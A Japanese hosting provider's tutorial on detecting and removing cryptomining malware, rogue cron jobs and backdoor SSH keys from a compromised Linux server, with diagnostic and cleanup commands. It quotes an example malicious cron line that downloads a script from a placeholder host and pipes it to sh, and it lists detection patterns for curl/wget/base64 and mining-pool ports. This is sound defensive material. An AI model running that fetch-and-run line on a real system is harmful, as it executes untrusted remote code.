Linuxサーバー

Linux サーバーが乗っ取られた?マイニングマルウェア・不正な cron・バックドア SSH キーの調査と駆除

8 ステップ 14 分で読めます 12 回閲覧 0
目次

CPU 使用率が突然 100% に張り付いたままになる、原因不明の通信が発生している、不正利用(abuse)の報告が届いた、といった状況のサーバーは、侵害されている可能性が非常に高いといえます。Linux で最もよく仕込まれるのはマイニングマルウェア(xmrig、kdevtmpfsi、kinsing や名前を変えた無数の亜種)で、cron ジョブ、systemd サービス、攻撃者の SSH キーを使って自分自身を存続させます。この記事では、侵入の確認方法、不正なプロセスとすべての永続化ポイントの見つけ方、サーバーのクリーンアップ、そして攻撃者が侵入した経路の塞ぎ方を解説します。

侵入が確認された場合、完全に信頼できる唯一の対処は、データをバックアップして OS を再インストールし、クリーンなバックアップからデータ(実行ファイルではなく)を復元することです。以下で説明するその場でのクリーンアップでも一般的なマイナーやバックドアは除去できますが、他に何も残っていないことまでは保証できません。いずれの場合も、作業後にすべてのパスワードとキーを変更してください。

侵害されたサーバーによくある兆候

  • Web サイトやアプリケーションがアイドル状態でも、CPU 使用率が 100% 近くのまま下がらない。
  • ランダムな名前の見知らぬプロセスや、/tmp、/var/tmp、/dev/shm から実行されているプロセスがある。
  • 説明のつかない大量の送信トラフィック、外向きの SSH スキャン、または見慣れない IP の 3333、4444、5555、7777、14444 番などのポート(マイニングプールでよく使われるポート)への接続がある。
  • 自分で追加していない cron ジョブ、systemd サービス、SSH キーがある。
  • 自分の IP からのポートスキャン、ブルートフォース攻撃、スパム送信について、プロバイダーから abuse 報告が届いた。

ステップ1:CPU を異常に消費しているプロセスを探す

CPU 使用率の高いプロセスを一覧表示し、その実行ファイルが実際にどこにあるかを確認します。マルウェアは [kworker] や systemd-helper のような無害に見える名前で偽装していることが多いものの、実体のバイナリは一時ディレクトリに置かれていたり、すでにディスクから削除されていたりします。

# Top CPU consumers
ps aux --sort=-%cpu | head -15

# For a suspicious PID: real binary path, full command line and working directory
ls -l /proc/12345/exe
tr '\0' ' ' < /proc/12345/cmdline; echo
ls -l /proc/12345/cwd

# Processes whose binary has been deleted from disk (a classic malware trick)
ls -l /proc/*/exe 2>/dev/null | grep '(deleted)'

# Processes started from temporary directories
ls -l /proc/*/exe 2>/dev/null | grep -E '/tmp/|/var/tmp/|/dev/shm/'

マイナーの中には、top を開いた途端に動作を止めるものや、プリロードされたライブラリによって ps から姿を隠すもの(ステップ3を参照)もあります。ロードアベレージが高いままなのに top で負荷の高いプロセスが見当たらない場合は、何かが隠されていると考えてください。

ステップ2:ネットワーク接続を確認

マイナーはマイニングプールと、ボットは制御サーバーと通信しなければなりません。自分のアプリケーションが本来行うはずのない、確立済みの外向き接続がないかを確認します。

# All TCP/UDP sockets with the owning process
ss -tunap

# Only established outbound connections
ss -tnp state established

# Connections to common mining pool ports
ss -tnp | grep -E ':(3333|4444|5555|7777|14444|45700)\b'

# Live view of which hosts use bandwidth (apt/dnf install iftop)
iftop -nP

ステップ3:すべての永続化ポイントを洗い出す

プロセスを停止しても、1 分後に cron ジョブが再びダウンロードしてくるのでは意味がありません。以下の場所をすべて確認してください。

# Cron jobs for every user
for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u "$u" 2>/dev/null | sed "s/^/[$u] /"; done
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /var/spool/cron* 2>/dev/null

# Systemd services and timers changed in the last 14 days
find /etc/systemd /lib/systemd /usr/lib/systemd -type f -mtime -14 2>/dev/null
systemctl list-timers --all

# Library preloading: hides processes and files from ps/ls (should normally be empty or absent)
cat /etc/ld.so.preload 2>/dev/null

# Startup scripts and shell profiles
cat /etc/rc.local 2>/dev/null
ls -la /etc/profile.d/
grep -nE 'curl|wget|base64|/tmp/|/dev/shm' /root/.bashrc /root/.profile /etc/profile /etc/bash.bashrc 2>/dev/null

典型的な不正 cron の行は */5 * * * * curl -fsSL http://x.x.x.x/a.sh | sh のような形か、base64 でエンコードされたコマンドを実行するものです。自分で作成していないものはすべて疑ってかかりましょう。

ステップ4:ユーザー、SSH キー、ログイン履歴を確認

# Accounts with UID 0 (only root should be listed)
awk -F: '$3 == 0 {print $1}' /etc/passwd

# Accounts that can log in with a shell
grep -vE 'nologin|false$' /etc/passwd

# Every authorized_keys file on the system
find / -xdev -name authorized_keys 2>/dev/null -exec sh -c 'echo "== $1"; cat "$1"' _ {} \;

# Recent successful and failed logins
last -a | head -20
lastb -a 2>/dev/null | head -20
journalctl -u ssh -u sshd --since "7 days ago" | grep -E 'Accepted|Failed' | tail -30

見覚えのないキーはすべて削除してください。一度も使ったことのない海外の IP からのログイン成功は、パスワードやキーが漏えいした強い兆候です。

ステップ5:最近変更されたファイルと隠しファイルを探す

# Files changed in the last 3 days outside virtual filesystems
find / -xdev -type f -mtime -3 \
  -not -path '/proc/*' -not -path '/sys/*' -not -path '/var/log/*' \
  -not -path '/var/lib/docker/*' 2>/dev/null | head -100

# Contents of temporary directories, including hidden files
ls -la /tmp /var/tmp /dev/shm

# Files made immutable so you cannot delete them
lsattr -a /tmp /var/tmp /usr/bin /usr/local/bin 2>/dev/null | grep -- '-i-'

# Verify that system binaries were not replaced
debsums -c 2>/dev/null      # Debian/Ubuntu (apt install debsums)
rpm -Va 2>/dev/null | grep '^..5'   # Rocky/AlmaLinux: files whose checksum changed

ステップ6:クリーンアップ

作業中にマルウェアが自分自身を再起動できないよう、まず永続化の仕組みを取り除き、次にプロセスを停止し、最後にファイルを削除する、という順序で進めます。

# 1. Remove persistence: edit the crontabs, delete malicious files in /etc/cron.d,
#    then stop and disable unknown services
crontab -e
systemctl disable --now suspicious.service
rm -f /etc/systemd/system/suspicious.service && systemctl daemon-reload

# 2. Empty a malicious preload file
> /etc/ld.so.preload

# 3. Kill the processes
kill -9 12345

# 4. Remove the immutable flag, then delete the files
chattr -i -a /tmp/.x/miner
rm -rf /tmp/.x

# 5. Remove unknown SSH keys and accounts
nano /root/.ssh/authorized_keys
userdel -r unknownuser

その後、root パスワードとすべてのアプリケーションのパスワード(データベース、管理パネル、CMS の管理者)を変更し、SSH キーを再生成して、apt update && apt upgrade または dnf upgrade でシステムを更新します。念のため rkhunter --check や chkrootkit などのスキャナーも実行するとよいでしょう。誤検知もあるため、警告の内容はよく確認してください。

ステップ7:侵入経路を塞ぐ

私たちが目にする感染のほとんどは、いくつかの決まった経路から入り込んでいます。該当する経路を塞がなければ、数時間以内に再感染します。

  • 脆弱な SSH パスワード:鍵認証に切り替えてパスワード認証を無効にし(SSH 鍵認証でのログインを参照)、Fail2ban も導入します。
  • パスワードなしでインターネットに公開されたサービス:Redis(6379)、Docker API(2375)、MongoDB(27017)、Elasticsearch(9200)は常にスキャンされています。127.0.0.1 にバインドするか、ファイアウォールで遮断してください。
  • 古い Web アプリケーションやプラグイン:CMS とそのプラグイン、サーバーパネルを更新し、使っていないサイトは削除します。
  • 漏えいしたキー:他の場所でも使い回している SSH 秘密鍵やパネルのパスワードです。すべて変更してください。

よくある質問

top を実行すると CPU 使用率が下がり、終了するとまた上がるのはなぜですか?

多くのマイナーは監視ツールの起動を検知し、その間だけ動作を止めます。代わりに uptime やコントロールパネルの CPU グラフを確認し、プロセスが見えなくてもステップ3~5に沿って永続化ポイントを探してください。

クリーンアップと再インストールのどちらを選ぶべきですか?

攻撃者が root 権限を得ていた場合は、再インストールが最も安全です。Web サイトのファイルとデータベースをバックアップし、OS を再インストールして先にセキュリティを強化してから、データを復元します。単純なマイナーで、すべての永続化ポイントと根本原因を見つけて取り除けた場合に限り、その場でのクリーンアップでも問題ありません。

サーバーが攻撃を送信していて abuse チケットが届きました。どうすればよいですか?

チケットに返信し、感染したサービスを直ちに停止するかサーバーをクリーンアップしたうえで、何を発見し何を修正したかをお知らせください。外部への攻撃は他のネットワークとお使いの IP の評判に悪影響を与えるため、迅速な対応が重要です。

上記の手順で解決しない場合は、サポートチケットを送信して IMIDC の 24 時間 365 日対応テクニカルサポートへご連絡ください。サーバー IP、OS バージョン、見つかった不審なプロセスやファイル、上記コマンドの出力を添えていただくと、より迅速に調査できます。

この回答はお役に立ちましたか?

関連チュートリアル